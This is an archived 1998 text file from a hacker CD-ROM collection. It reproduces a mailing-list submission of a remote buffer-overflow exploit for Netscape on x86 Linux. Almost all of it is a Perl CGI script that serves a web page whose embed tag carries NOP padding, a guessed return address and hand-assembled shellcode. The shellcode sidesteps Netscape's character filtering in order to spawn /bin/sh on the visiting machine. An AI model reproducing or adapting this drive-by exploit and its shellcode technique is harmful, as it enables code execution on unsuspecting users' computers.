home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack / linux-netscape-exploit.txt < prev    next >
Encoding:
Text File  |  1998-10-31  |  3.3 KB  |  134 lines

  1. [ http://www.rootshell.com/ ]
  2.  
  3. From nothing@shout.net Wed Oct 21 18:00:09 1998
  4. Date: Wed, 21 Oct 1998 19:23:45 -0500
  5. From: Mr. Nothing <nothing@shout.net>
  6. To: submission@rootshell.com
  7. Subject: Netscape Buffer Overflow
  8.  
  9. Here is a buffer overflow exploit for Netscape on x86 Linux.  It can
  10. be activated remotely by the following CGI script.
  11.  
  12. See http://www.shout.net/~nothing/buffer-overflow-1/index.html
  13. for more information.
  14.  
  15. -----
  16.  
  17. #!/usr/bin/perl
  18. #
  19. # buffer-overflow-1.cgi -- Dan Brumleve, 1998.10.19
  20.  
  21. sub parse {
  22.   join("", map { /^[0-9A-Fa-f]{2}$/ ? pack("c", hex($_)) : "" } @_);
  23. }
  24.  
  25. # This is very tricky business.  Netscape maps unprintable characters
  26. # (0x80 - 0x90 and probably others) to 0x3f ("?"), so the machine
  27. # code must be free of these characters.  This makes it impossible
  28. # to call int 0x80, so I put int 0x40 there and wrote code to
  29. # shift those bytes left before it gets called.  Also null characters
  30. # can't be used because of C string conventions.
  31.  
  32. # the first paragraph of the following turns the int 0x40 in the second
  33. # paragraph into int 0x80.  the second paragraph nullifies the SIGALRM
  34. # handler.
  35.  
  36. my $pre = parse qw{
  37.   31 c0         # xorl %eax,%eax
  38.   66 b8 ff 0f        # movw $0x1056,%ax
  39.   01 c4            # addl %eax,%esp 
  40.   c0 24 24 01        # shlb $1,(%esp)
  41.   29 c4            # subl %eax,%esp
  42.  
  43.   31 c0 b0 30
  44.   31 db b3 0e
  45.   31 c9 b1 01
  46.   cd 40
  47. };
  48.  
  49. my $code = $pre . parse qw{
  50.   b0 55            # movb $0x55,%al (marker)
  51.   eb 58            # (jump below)
  52.  
  53.   5e            # popl %esi
  54.  
  55.   56            # pushl %esi
  56.   5b            # popl %ebx
  57.   43 43 43 43 43 43
  58.   43 43 43 43 43    # addl $0xb,%ebx
  59.  
  60.   21 33            # andl %esi,(%ebx)
  61.   09 33            # orl %esi,(%ebx)
  62.  
  63.   31 c0         # xorl %eax,%eax
  64.   66 b8 56 10        # movw $0x1056,%ax
  65.   01 c4            # addl %eax,%esp 
  66.   c0 24 24 01        # shlb $1,(%esp)
  67.   33 c0            # xorl %eax,%eax
  68.   b0 05         # movb $5,%al
  69.   01 c4            # addl %eax,%esp 
  70.   c0 24 24 01        # shlb $1,(%esp)
  71.   29 c4            # subl %eax,%esp
  72.   66 b8 56 10        # movw $0x1056,%ax
  73.   29 c4            # subl %eax,%esp
  74.  
  75.  
  76.   31 d2            # xorl %edx,%edx
  77.   21 56 07        # andl %edx,0x7(%esi)
  78.   21 56 0f        # andl %edx,0xf(%esi)
  79.   b8 1b 56 34 12    # movl $0x1234561b,%eax
  80.   35 10 56 34 12    # xorl $0x12345610,%eax 
  81.  
  82.   21 d9            # andl %ebx,%ecx
  83.   09 d9            # orl %ebx,%ecx
  84.  
  85.   4b 4b 4b 4b 4b 4b
  86.   4b 4b 4b 4b 4b    # subl $0xb,%ebx
  87.  
  88.   cd 40            # int $0x80
  89.   31 c0            # xorl %eax,%eax
  90.   40            # incl %eax
  91.   cd 40            # int $0x80
  92.  
  93.  
  94.   e8 a3 ff ff ff    # (call above)
  95. };
  96.  
  97. $code .= "/bin/sh";
  98.  
  99. my $transmission = parse qw{
  100.   6f 63 65 61 6e 20 64 65 73 65 72 74 20 69 72 6f 6e # inguz
  101.   20 66 65 72 74 69 6c 69 7a 61 74 69 6f 6e 20 70 68 # inguz
  102.   79 74 6f 70 6c 61 6e 6b 74 6f 6e 20 62 6c 6f 6f 6d # inguz
  103.   20 67 61 74 65 73 20 73 6f 76 65 72 65 69 67 6e 74 # inguz
  104.   79
  105. };
  106.  
  107. my $nop = "\x90"; # this actually gets mapped onto 0x3f, but it doesn't seem
  108.                   # to matter
  109.  
  110. my $address = "\x10\xdb\xff\xbf"; # wild guess, intended to be somewhere
  111.                                   # in the chunk of nops.  works on every
  112.                                   # linux box i've tried it on so far.
  113.              
  114.  
  115. my $len = 0x1000 - length($pre);
  116. my $exploit = ($nop x 1138) . ($address x 3) . ($nop x $len) . $code;
  117. # the first $address is in the string replaces another
  118. # pointer in the same function which gets dereferenced
  119. # after the buffer is overflowed.  there must be a valid
  120. # address there or it will segfault early.
  121.  
  122. print <<EOF;
  123. Content-type: text/html
  124.  
  125. <!-- $transmission -->
  126. <embed type="$exploit" src="data:x">
  127. EOF
  128.  
  129.  
  130.  
  131.  
  132.    
  133.  
  134.